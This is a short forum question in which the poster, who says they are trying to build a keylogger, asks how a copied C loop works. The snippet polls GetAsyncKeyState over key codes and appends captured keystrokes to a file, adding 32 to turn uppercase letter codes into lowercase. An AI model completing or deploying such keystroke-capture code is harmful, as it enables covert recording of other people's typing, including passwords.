Can someone please explain to me what is happening in these conditions?

I have been trying to create a keylogger using data structures, and I saw this piece of code on a website.

I don't understand if the "character" is ASCII value or what? Plus why are we incrementing value of character by 32 in the last condition.

for (character = 8;character <= 222;character++)
{
    if (GetAsyncKeyState(character) == -32767)
    {
        FILE *file;
        file = fopen(FileName, "a+");
        if (file != NULL)
        {
            if ((character >= 39) && (character <= 64))
            {
                fputc(character, file);
                fclose(file);
                break;
            }
            else if ((character>64) && (character<91))
            {
                character += 32;
                fputc(character, file);
                fclose(file);
                break;
            }
            /* ... */
         }
     }
}